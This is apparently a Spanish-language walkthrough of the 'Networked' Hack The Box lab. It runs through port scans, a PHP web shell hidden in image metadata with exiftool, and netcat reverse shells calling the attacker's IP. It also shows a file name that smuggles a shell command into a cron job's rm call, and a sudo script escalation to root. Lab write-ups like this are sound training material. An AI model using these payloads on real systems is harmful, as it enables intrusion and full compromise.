Encontramos una pagina web donde pudimos subir una web shell realizando Bypass utilizando exiftool. Un CronJob nos permitio ejecutar una shell inversa y acceder al siguiente usuario. Escalamos privilegios ejecutando una shell a travez de un script de bash.
Nombre |
Networked |
OS |
Linux |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.10.146 |
Maker |
guly |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.5, 4.8, 4.2, 5.8, 5.2],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[7, 5, 3, 7, 5],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
MASSCAN & NMAP
Escaneo de puertos tcp/udp con masscan y nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
root@kali:~/htb/networked# masscan -p1-65535,U:1-65535 10.10.10.146 --rate=1000 -e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-27 23:43:29 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.146
Discovered open port 22/tcp on 10.10.10.146
# Nmap 7.70 scan initiated Tue Aug 27 22:49:04 2019 as: nmap -sC -sV -p80,22 -o nmap.scan 10.10.10.146
Nmap scan report for 10.10.10.146
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 27 22:49:14 2019 -- 1 IP address (1 host up) scanned in 10.16 seconds
|
HTTP
Visitamos la pagina que se encuentra en el puerto 80 y nos muestra lo siguiente.
Ademas de eso en el codigo fuente nos muestra un comentario relacionado a una galeria.
DIRBUSTER
Utilizamos dirbuster para busqueda de direcotrios y paginas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
root@kali:~/htb/networked# gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -n -t 15
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.146/
[+] Threads: 15
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] No status: true
[+] Timeout: 10s
===============================================================
2019/08/27 22:46:10 Starting gobuster
===============================================================
/backup
/cgi-bin/
/cgi-bin/.html
/index.php
/index.php
/lib.php
/photos.php
/upload.php
/uploads
===============================================================
2019/08/27 22:48:15 Finished
===============================================================
|
BACKUP - backup.tar
Visitamos la pagina backup y encontramos un archivo ‘backup.tar’ que al extraer los archivos que contiene nos muestra el codigo fuente de las paginas que encontramos con dirbuster.
Analizamos el codigo fuente de los archivos, encontramos que, en la pagina upload.php podemos subir archivos de los cuales solo archivos de tipo imagen estan permitidos.
BYPASS - Upload Shell
Utilizamos exiftool para añadir codigo php para ejecucion de comandos en una de las imagenes que descargamos de photos.php, luego de esto cambiamos el nombre del archivo y le añadimos .php.jpg
como extension.
1
2
|
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 127.jpg
mv 127.jpg 127.php.jpg
|
Visitamos la pagina photos.php y nos aparece nuestra imagen/shell uploaded by 10_10_15_129.php.png
.
Le pasamos los parametros ?cmd=whoami;pwd
a nuestra imagen y nos devuelve la ejecucion de comandos, un tanto desordenada con los datos de la imagen.
Le pasamos parametros para obtener una shell inversa con netcat.
1
|
nc -e /bin/bash 10.10.15.129 1337
|
Obtenemos nuestra shell como usuario apache.
USUARIO - GULY
Dentro de los archivos que encontramos en la carpeta principal del usuario guly, de los cuales podemos leer solo dos, vemos un archivo de tipo cronjob y uno de php.
El archivo cron se encarga de ejecutar el comando php /home/guly/check_attack.php cada 3 mins.
El segundo archivo evalua los archivos que se encuentran en /var/www/html/uploads/
, si encuentra un archivo que no esta dentro de las extensiones del whitelist de lib.php
lo elimina, pero lo hace con los siguientes comandos:
1
2
|
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
|
Las variables que nos interesan son:
1
2
|
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
|
Sabiendo esto vamos a aprovechar la segunda ejecucion de comandos, en la cual se le pasa los parametros:
1
|
nohup /bin/rm -f $path$value > /dev/null 2>&1 &
|
En este caso toma la variable $path
donde se encuentran todos los archivos y $value
el nombre del archivo a eliminar, en este caso seria de la siguiente forma /var/www/html/uploads/whatever.php, para aprovechar este comando utilizamos touch para crear el siguiente archivo (nombre):
1
|
; nc -c bash 10.10.15.129 1338
|
Y para cuando el cron se active y ejecute el archivo y, al borrar nuestro archivo va a ejecutar lo siguiente:
1
|
nohup /bin/rm -f /var/www/html/uploads/; nc -c bash 10.10.15.129 1338 > /dev/null 2>&1 &
|
Por lo que va a ejecutar nuestra shell inversa y obtenemos nuestra bandera user.txt.
PRIVILEGE ESCALATION
Agregamos nuestra clave a authorized_keys del usuario guly y nos logeamos al servicio ssh. Ejecutamos el comando sudo -l -l
y nos muestra un archivo que se ejecuta como usuario root.
Jail Escaping Bash
Utilizamos la “tecnica” para escapar de una shell bash. Para ello al preguntarnos sobre las variables le pasamos un comando el cual va a ejecutar.
Jail Escaping Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
/usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
|
Antes de eso creamos un archivo el cual contiene una shell inversa, le damos permisos con el comando chmod +x archivo
. Luego de eso ejecutamos el archivo con el comando sudo y le pasamos el comando bash /tmp/sh
.
Por otro lado tenemos a la escucha netcat y obtenemos una shell con el usuario root y nuestra bandera root.txt.